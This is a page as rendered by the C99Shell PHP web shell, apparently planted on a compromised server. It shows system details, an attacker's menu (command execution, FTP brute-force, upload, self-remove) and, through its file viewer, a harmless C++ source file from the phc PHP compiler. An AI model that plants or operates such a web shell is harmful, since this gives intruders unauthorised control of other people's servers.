!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: nginx/1.23.4. PHP/5.6.40-65+ubuntu20.04.1+deb.sury.org+1 

uname -a: Linux foro-restaurado-2 5.15.0-1040-oracle #46-Ubuntu SMP Fri Jul 14 21:47:21 UTC 2023
aarch64
 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/home/scripts/pba/phc-read-only/src/codegen/   drwxrwxr-x
Free 83.2 GB of 96.73 GB (86.02%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     Generate_C_pass.cpp (1.27 KB)      -rw-rw-r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
/*
 * phc -- the open source PHP compiler
 * See doc/license/README.license for licensing information
 *
 * Generate C from the LIR
 */

#include "process_ir/General.h"
#include "pass_manager/Pass_manager.h"

#include "Generate_C_pass.h"
#include "Generate_C.h"
#include "embed/embed.h"

using namespace std;
using namespace boost;

// These probably wont clash.
using namespace MIR;

bool Generate_C_pass::pass_is_enabled (Pass_manager* pm)
{
    return pm->args_info->generate_c_flag or pm->args_info->compile_flag;
}

void Generate_C_pass::run (IR::PHP_script* in, Pass_manager* pm)
{
    if (not PHP::is_available ())
    {
        // TODO would be better if we checked for these at run-time if they
        // werent available at compile time.
        phc_error (    "phc requires PHP to be avaiable for compilation. " 
                        "Please install the PHP embed SAPI, "
                        "and run 'configure' on phc again");

        // TODO more information perhaps? Or integrate with configure warning?
    }

    stringstream ss;
    Generate_C* gen = new Generate_C (ss);
    in->visit (gen);

    if (pm->args_info->generate_c_flag)
    {
        cout << ss.str ();
    }

    os << ss.str ();
}

/*
 * Bookkeeping 
 */

Generate_C_pass::Generate_C_pass (ostream& os) : os (os)
{
    name = new String ("generate-c");
    description = new String ("Generate C code from the LIR");
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by HackingTool | HackingTool | Generation time: 0.0043 ]--